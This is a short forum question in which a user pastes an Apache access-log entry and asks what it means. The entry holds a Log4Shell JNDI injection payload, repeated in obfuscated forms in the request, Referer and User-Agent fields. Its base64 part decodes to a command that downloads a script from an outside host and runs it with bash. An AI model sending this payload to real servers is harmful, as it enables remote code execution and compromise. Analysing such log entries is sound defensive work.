I see this entry in my apache access log, is anyone having an Idea what does it mean?
195.54.160.149 - - [24/Dec/2021:17:30:03 +0000] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzkuNTkuMzcuMjQ0OjQ0M3x8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzkuNTkuMzcuMjQ0OjQ0Myl8YmFzaA==} HTTP/1.1" 200 10937 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzkuNTkuMzcuMjQ0OjQ0M3x8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzkuNTkuMzcuMjQ0OjQ0Myl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzkuNTkuMzcuMjQ0OjQ0M3x8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzkuNTkuMzcuMjQ0OjQ0Myl8YmFzaA==}"